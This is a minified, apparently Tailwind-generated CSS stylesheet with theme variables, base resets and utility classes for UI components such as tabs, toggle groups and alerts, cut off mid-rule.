theme{:root,:host{--spacing:.25rem;--container-xs:20rem;--container-md:28rem;--text-xs:.75rem;--text-xs--line-height:calc(1 / .75);--text-sm:.875rem;--text-sm--line-height:calc(1.25 / .875);--text-base:1rem;--text-base--line-height: 1.5 ;--font-weight-medium:500;--radius-md:calc(var(--radius) - 2px);--radius-4xl:2rem;--animate-spin:spin 1s linear infinite;--animate-pulse:pulse 2s cubic-bezier(.4, 0, .6, 1) infinite;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4, 0, .2, 1);--default-font-family:var(--compass-font-sans);--default-mono-font-family:var(--compass-font-mono)}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;tab-size:4;line-height:1.5;font-family:var(--default-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring:where(:not(iframe)){outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){appearance:button}::file-selector-button{appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.absolute{position:absolute}.relative{position:relative}.static{position:static}.top-2{top:calc(var(--spacing) * 2)}.right-2{right:calc(var(--spacing) * 2)}.bottom-3{bottom:calc(var(--spacing) * 3)}.bottom-4{bottom:calc(var(--spacing) * 4)}.left-1\/2{left:50%}.left-3{left:calc(var(--spacing) * 3)}.left-4{left:calc(var(--spacing) * 4)}.z-20{z-index:20}.z-50{z-index:50}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.mt-2{margin-top:calc(var(--spacing) * 2)}.flex{display:flex}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline-flex{display:inline-flex}.size-2\.5{width:calc(var(--spacing) * 2.5);height:calc(var(--spacing) * 2.5)}.size-6{width:calc(var(--spacing) * 6);height:calc(var(--spacing) * 6)}.size-7{width:calc(var(--spacing) * 7);height:calc(var(--spacing) * 7)}.size-8{width:calc(var(--spacing) * 8);height:calc(var(--spacing) * 8)}.size-9{width:calc(var(--spacing) * 9);height:calc(var(--spacing) * 9)}.size-full{width:100%;height:100%}.h-5{height:calc(var(--spacing) * 5)}.h-6{height:calc(var(--spacing) * 6)}.h-7{height:calc(var(--spacing) * 7)}.h-8{height:calc(var(--spacing) * 8)}.h-9{height:calc(var(--spacing) * 9)}.h-\[calc\(100\%-1px\)\]{height:calc(100% - 1px)}.h-screen{height:100vh}.max-h-24{max-height:calc(var(--spacing) * 24)}.w-fit{width:fit-content}.w-full{width:100%}.max-w-\[min\(44rem\,calc\(100\%-1\.5rem\)\)\]{max-width:min(44rem,100% - 1.5rem)}.max-w-md{max-width:var(--container-md)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:0}.min-w-7{min-width:calc(var(--spacing) * 7)}.min-w-8{min-width:calc(var(--spacing) * 8)}.min-w-9{min-width:calc(var(--spacing) * 9)}.flex-1{flex:1}.shrink-0{flex-shrink:0}.origin-\(--radix-tooltip-content-transform-origin\){transform-origin:var(--radix-tooltip-content-transform-origin)}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x) var(--tw-translate-y)}.translate-y-\[calc\(-50\%_-_2px\)\]{--tw-translate-y: calc(-50% - 2px) ;translate:var(--tw-translate-x) var(--tw-translate-y)}.rotate-45{rotate:45deg}.animate-pulse{animation:var(--animate-pulse)}.animate-spin{animation:var(--animate-spin)}.touch-none{touch-action:none}.flex-col{flex-direction:column}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.gap-0\.5{gap:calc(var(--spacing) * .5)}.gap-1{gap:var(--spacing)}.gap-1\.5{gap:calc(var(--spacing) * 1.5)}.gap-2{gap:calc(var(--spacing) * 2)}.gap-\[--spacing\(var\(--gap\)\)\]{gap:calc(var(--spacing) * var(--gap))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.rounded-4xl{border-radius:var(--radius-4xl)}.rounded-\[2px\]{border-radius:2px}.rounded-\[inherit\]{border-radius:inherit}.rounded-\[min\(var\(--radius-md\)\,10px\)\]{border-radius:min(var(--radius-md),10px)}.rounded-\[min\(var\(--radius-md\)\,12px\)\]{border-radius:min(var(--radius-md),12px)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius)}.rounded-md{border-radius:calc(var(--radius) - 2px)}.border{border-style:var(--tw-border-style);border-width:1px}.border-border{border-color:var(--border)}.border-destructive\/50{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.border-destructive\/50{border-color:color-mix(in oklab,var(--destructive) 50%,transparent)}}.border-input{border-color:var(--input)}.border-transparent{border-color:#0000}.bg-background,.bg-background\/95{background-color:var(--background)}@supports (color:color-mix(in lab,red,red)){.bg-background\/95{background-color:color-mix(in oklab,var(--background) 95%,transparent)}}.bg-border{background-color:var(--border)}.bg-card{background-color:var(--card)}.bg-destructive\/10{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.bg-destructive\/10{background-color:color-mix(in oklab,var(--destructive) 10%,transparent)}}.bg-foreground{background-color:var(--foreground)}.bg-muted{background-color:var(--muted)}.bg-popover\/95{background-color:var(--popover)}@supports (color:color-mix(in lab,red,red)){.bg-popover\/95{background-color:color-mix(in oklab,var(--popover) 95%,transparent)}}.bg-primary{background-color:var(--primary)}.bg-secondary{background-color:var(--secondary)}.bg-transparent{background-color:#0000}.bg-clip-padding{background-clip:padding-box}.fill-foreground{fill:var(--foreground)}.p-1{padding:var(--spacing)}.p-3{padding:calc(var(--spacing) * 3)}.p-\[3px\]{padding:3px}.p-px{padding:1px}.px-1\.5{padding-inline:calc(var(--spacing) * 1.5)}.px-2{padding-inline:calc(var(--spacing) * 2)}.px-2\.5{padding-inline:calc(var(--spacing) * 2.5)}.px-3{padding-inline:calc(var(--spacing) * 3)}.py-0\.5{padding-block:calc(var(--spacing) * .5)}.py-1{padding-block:var(--spacing)}.py-1\.5{padding-block:calc(var(--spacing) * 1.5)}.py-2{padding-block:calc(var(--spacing) * 2)}.text-left{text-align:left}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[0\.8rem\]{font-size:.8rem}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.text-balance{text-wrap:balance}.whitespace-nowrap{white-space:nowrap}.text-background{color:var(--background)}.text-card-foreground{color:var(--card-foreground)}.text-destructive{color:var(--destructive)}.text-foreground,.text-foreground\/60{color:var(--foreground)}@supports (color:color-mix(in lab,red,red)){.text-foreground\/60{color:color-mix(in oklab,var(--foreground) 60%,transparent)}}.text-muted-foreground{color:var(--muted-foreground)}.text-popover-foreground{color:var(--popover-foreground)}.text-primary{color:var(--primary)}.text-primary-foreground{color:var(--primary-foreground)}.text-secondary-foreground{color:var(--secondary-foreground)}.underline-offset-4{text-underline-offset:4px}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a), 0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a), 0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a), 0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-\[color\,box-shadow\]{transition-property:color,box-shadow;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}.paused{animation-play-state:paused}.running{animation-play-state:running}.group-has-\[\>svg\]\/alert\:col-start-2:is(:where(.group\/alert):has(>svg) *){grid-column-start:2}.group-data-\[orientation\=horizontal\]\/tabs\:h-8:is(:where(.group\/tabs)[data-orientation=horizontal] *){height:calc(var(--spacing) * 8)}.group-data-\[orientation\=vertical\]\/tabs\:h-fit:is(:where(.group\/tabs)[data-orientation=vertical] *){height:fit-content}.group-data-\[orientation\=vertical\]\/tabs\:w-full:is(:where(.group\/tabs)[data-orientation=vertical] *){width:100%}.group-data-\[orientation\=vertical\]\/tabs\:flex-col:is(:where(.group\/tabs)[data-orientation=vertical] *){flex-direction:column}.group-data-\[orientation\=vertical\]\/tabs\:justify-start:is(:where(.group\/tabs)[data-orientation=vertical] *){justify-content:flex-start}.group-data-\[spacing\=0\]\/toggle-group\:rounded-none:is(:where(.group\/toggle-group)[data-spacing="0"] *){border-radius:0}.group-data-\[spacing\=0\]\/toggle-group\:px-2:is(:where(.group\/toggle-group)[data-spacing="0"] *){padding-inline:calc(var(--spacing) * 2)}.group-data-\[variant\=line\]\/tabs-list\:bg-transparent:is(:where(.group\/tabs-list)[data-variant=line] *){background-color:#0000}.file\:inline-flex::file-selector-button{display:inline-flex}.file\:h-6::file-selector-button{height:calc(var(--spacing) * 6)}.file\:border-0::file-selector-button{border-style:var(--tw-border-style);border-width:0}.file\:bg-transparent::file-selector-button{background-color:#0000}.file\:text-sm::file-selector-button{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.file\:font-medium::file-selector-button{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.file\:text-foreground::file-selector-button{color:var(--foreground)}.placeholder\:text-muted-foreground::placeholder{color:var(--muted-foreground)}.after\:absolute:after{content:var(--tw-content);position:absolute}.after\:bg-foreground:after{content:var(--tw-content);background-color:var(--foreground)}.after\:opacity-0:after{content:var(--tw-content);opacity:0}.after\:transition-opacity:after{content:var(--tw-content);transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.group-data-\[orientation\=horizontal\]\/tabs\:after\:inset-x-0:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);inset-inline:0}.group-data-\[orientation\=horizontal\]\/tabs\:after\:bottom-\[-5px\]:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);bottom:-5px}.group-data-\[orientation\=horizontal\]\/tabs\:after\:h-0\.5:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);height:calc(var(--spacing) * .5)}.group-data-\[orientation\=vertical\]\/tabs\:after\:inset-y-0:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);inset-block:0}.group-data-\[orientation\=vertical\]\/tabs\:after\:-right-1:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);right:calc(var(--spacing) * -1)}.group-data-\[orientation\=vertical\]\/tabs\:after\:w-0\.5:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);width:calc(var(--spacing) * .5)}@media(hover:hover){.hover\:bg-\[color-mix\(in_oklch\,var\(--secondary\)\,var\(--foreground\)_5\%\)\]:hover{background-color:var(--secondary)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-\[color-mix\(in_oklch\,var\(--secondary\)\,var\(--foreground\)_5\%\)\]:hover{background-color:color-mix(in oklch,var(--secondary),var(--foreground) 5%)}}.hover\:bg-destructive\/20:hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-destructive\/20:hover{background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.hover\:bg-muted:hover{background-color:var(--muted)}.hover\:bg-primary\/80:hover{background-color:var(--primary)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-primary\/80:hover{background-color:color-mix(in oklab,var(--primary) 80%,transparent)}}.hover\:text-foreground:hover{color:var(--foreground)}.hover\:text-muted-foreground:hover{color:var(--muted-foreground)}.hover\:underline:hover{text-decoration-line:underline}}.focus\:z-10:focus,.focus-visible\:z-10:focus-visible{z-index:10}.focus-visible\:border-destructive\/40:focus-visible{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:border-destructive\/40:focus-visible{border-color:color-mix(in oklab,var(--destructive) 40%,transparent)}}.focus-visible\:border-ring:focus-visible{border-color:var(--ring)}.focus-visible\:ring-3:focus-visible,.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-destructive\/20:focus-visible{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:ring-destructive\/20:focus-visible{--tw-ring-color:color-mix(in oklab, var(--destructive) 20%, transparent)}}.focus-visible\:ring-ring\/50:focus-visible{--tw-ring-color:var(--ring)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:ring-ring\/50:focus-visible{--tw-ring-color:color-mix(in oklab, var(--ring) 50%, transparent)}}.focus-visible\:outline-1:focus-visible{outline-style:var(--tw-outline-style);outline-width:1px}.focus-visible\:outline-ring:focus-visible{outline-color:var(--ring)}.active\:not-aria-\[haspopup\]\:translate-y-px:active:not([aria-haspopup]){--tw-translate-y:1px;translate:var(--tw-translate-x) var(--tw-translate-y)}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:bg-input\/50:disabled{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.disabled\:bg-input\/50:disabled{background-color:color-mix(in oklab,var(--input) 50%,transparent)}}.disabled\:opacity-50:disabled{opacity:.5}:where([data-slot=button-group]) .in-data-\[slot\=button-group\]\:rounded-lg{border-radius:var(--radius)}.has-data-\[icon\=inline-end\]\:pr-1:has([data-icon=inline-end]){padding-right:var(--spacing)}.has-data-\[icon\=inline-end\]\:pr-1\.5:has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-end\]\:pr-2:has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 2)}.group-data-\[spacing\=0\]\/toggle-group\:has-data-\[icon\=inline-end\]\:pr-1\.5:is(:where(.group\/toggle-group)[data-spacing="0"] *):has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-start\]\:pl-1:has([data-icon=inline-start]){padding-left:var(--spacing)}.has-data-\[icon\=inline-start\]\:pl-1\.5:has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-start\]\:pl-2:has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 2)}.group-data-\[spacing\=0\]\/toggle-group\:has-data-\[icon\=inline-start\]\:pl-1\.5:is(:where(.group\/toggle-group)[data-spacing="0"] *):has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 1.5)}.has-data-\[slot\=alert-action\]\:relative:has([data-slot=alert-action]){position:relative}.has-data-\[slot\=alert-action\]\:pr-18:has([data-slot=alert-action]){padding-right:calc(var(--spacing) * 18)}.has-data-\[slot\=kbd\]\:pr-1\.5:has([data-slot=kbd]){padding-right:calc(var(--spacing) * 1.5)}.has-\[\>svg\]\:grid-cols-\[auto_1fr\]:has(>svg){grid-template-columns:auto 1fr}.has-\[\>svg\]\:gap-x-2:has(>svg){column-gap:calc(var(--spacing) * 2)}.aria-expanded\:bg-muted[aria-expanded=true]{background-color:var(--muted)}.aria-expanded\:bg-secondary[aria-expanded=true]{background-color:var(--secondary)}.aria-expanded\:text-foreground[aria-expanded=true]{color:var(--foreground)}.aria-expanded\:text-secondary-foreground[aria-expanded=true]{color:var(--secondary-foreground)}.aria-invalid\:border-destructive[aria-invalid=true]{border-color:var(--destructive)}.aria-invalid\:ring-3[aria-invalid=true]{--tw-ring-shadow:var(--tw-ring-inset,) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.aria-invalid\:ring-destructive\/20[aria-invalid=true]{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.aria-invalid\:ring-destructive\/20[aria-invalid=true]{--tw-ring-color:color-mix(in oklab, var(--destructive) 20%, transparent)}}.aria-pressed\:bg-muted[aria-pressed=true]{background-color:var(--muted)}.data-closed\:animate-out[data-closed]{animation:exit var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-closed\:fade-out-0[data-closed]{--tw-exit-opacity:0}.data-closed\:zoom-out-95[data-closed]{--tw-exit-scale:.95}.data-horizontal\:h-2\.5[data-horizontal]{height:calc(var(--spacing) * 2.5)}.data-horizontal\:h-px[data-horizontal]{height:1px}.data-horizontal\:w-full[data-horizontal]{width:100%}.data-horizontal\:flex-col[data-horizontal]{flex-direction:column}.data-horizontal\:border-t[data-horizontal]{border-top-style:var(--tw-border-style);border-top-width:1px}.data-horizontal\:border-t-transparent[data-horizontal]{border-top-color:#0000}.data-open\:animate-in[data-open]{animation:enter var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-open\:fade-in-0[data-open]{--tw-enter-opacity:0}.data-open\:zoom-in-95[data-open]{--tw-enter-scale:.95}.data-vertical\:h-full[data-vertical]{height:100%}.data-vertical\:w-2\.5[data-vertical]{width:calc(var(--spacing) * 2.5)}.data-vertical\:w-px[data-vertical]{width:1px}.data-vertical\:flex-col[data-vertical]{flex-direction:column}.data-vertical\:items-stretch[data-vertical]{align-items:stretch}.data-vertical\:self-stretch[data-vertical]{align-self:stretch}.data-vertical\:border-l[data-vertical]{border-left-style:var(--tw-border-style);border-left-width:1px}.data-vertical\:border-l-transparent[data-vertical]{border-left-color:#0000}.data-\[orientation\=horizontal\]\:flex-col[data-orientation=horizontal]{flex-direction:column}.data-\[side\=bottom\]\:slide-in-from-top-2[data-side=bottom]{--tw-enter-translate-y:calc(2*var(--spacing)*-1)}.data-\[side\=left\]\:slide-in-from-right-2[data-side=left]{--tw-enter-translate-x:calc(2*var(--spacing))}.data-\[side\=right\]\:slide-in-from-left-2[data-side=right]{--tw-enter-translate-x:calc(2*var(--spacing)*-1)}.data-\[side\=top\]\:slide-in-from-bottom-2[data-side=top]{--tw-enter-translate-y:calc(2*var(--spacing))}.data-\[size\=sm\]\:rounded-\[min\(var\(--radius-md\)\,10px\)\][data-size=sm]{border-radius:min(var(--radius-md),10px)}:is(.\*\:data-\[slot\=alert-description\]\:text-destructive\/90>*)[data-slot=alert-description]{color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){:is(.\*\:data-\[slot\=alert-description\]\:text-destructive\/90>*)[data-slot=alert-description]{color:color-mix(in oklab,var(--destructive) 90%,transparent)}}:is(.\*\*\:data-\[slot\=kbd\]\:relative *)[data-slot=kbd]{position:relative}:is(.\*\*\:data-\[slot\=kbd\]\:isolate *)[data-slot=kbd]{isolation:isolate}:is(.\*\*\:data-\[slot\=kbd\]\:z-50 *)[data-slot=kbd]{z-index:50}:is(.\*\*\:data-\[slot\=kbd\]\:rounded-sm *)[data-slot=kbd]{border-radius:calc(var(--radius) - 4px)}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:first\:rounded-l-lg:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"]:first-child{border-top-left-radius:var(--radius);border-bottom-left-radius:var(--radius)}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:first\:rounded-t-lg:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"]:first-child{border-top-left-radius:var(--radius);border-top-right-radius:var(--radius)}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:last\:rounded-r-lg:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"]:last-child{border-top-right-radius:var(--radius);border-bottom-right-radius:var(--radius)}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:last\:rounded-b-lg:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"]:last-child{border-bottom-right-radius:var(--radius);border-bottom-left-radius:var(--radius)}.data-\[state\=active\]\:bg-background[data-state=active]{background-color:var(--background)}.data-\[state\=active\]\:text-foreground[data-state=active]{color:var(--foreground)}.group-data-\[variant\=default\]\/tabs-list\:data-\[state\=active\]\:shadow-sm:is(:where(.group\/tabs-list)[data-variant=default] *)[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a), 0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:bg-transparent:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{background-color:#0000}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:shadow-none:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{--tw-shadow:0 0 #0000;box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:after\:opacity-100:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]:after{content:var(--tw-content);opacity:1}.data-\[state\=delayed-open\]\:animate-in[data-state=delayed-open]{animation:enter var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-\[state\=delayed-open\]\:fade-in-0[data-state=delayed-open]{--tw-enter-opacity:0}.data-\[state\=delayed-open\]\:zoom-in-95[data-state=delayed-open]{--tw-enter-scale:.95}.data-\[state\=on\]\:bg-muted[data-state=on]{background-color:var(--muted)}.data-\[variant\=line\]\:rounded-none[data-variant=line]{border-radius:0}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:border-l-0:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"][data-variant=outline]{border-left-style:var(--tw-border-style);border-left-width:0}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:border-t-0:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"][data-variant=outline]{border-top-style:var(--tw-border-style);border-top-width:0}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:first\:border-l:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"][data-variant=outline]:first-child{border-left-style:var(--tw-border-style);border-left-width:1px}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:first\:border-t:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"][data-variant=outline]:first-child{border-top-style:var(--tw-border-style);border-top-width:1px}@media(min-width:48rem){.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.md\:text-pretty{text-wrap:pretty}}.dark\:border-input:is(.dark *){border-color:var(--input)}.dark\:bg-destructive\/20:is(.dark *){background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:bg-destructive\/20:is(.dark *){background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.dark\:bg-input\/30:is(.dark *){background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:bg-input\/30:is(.dark *){background-color:color-mix(in oklab,var(--input) 30%,transparent)}}.dark\:text-muted-foreground:is(.dark *){color:var(--muted-foreground)}@media(hover:hover){.dark\:hover\:bg-destructive\/30:is(.dark *):hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-destructive\/30:is(.dark *):hover{background-color:color-mix(in 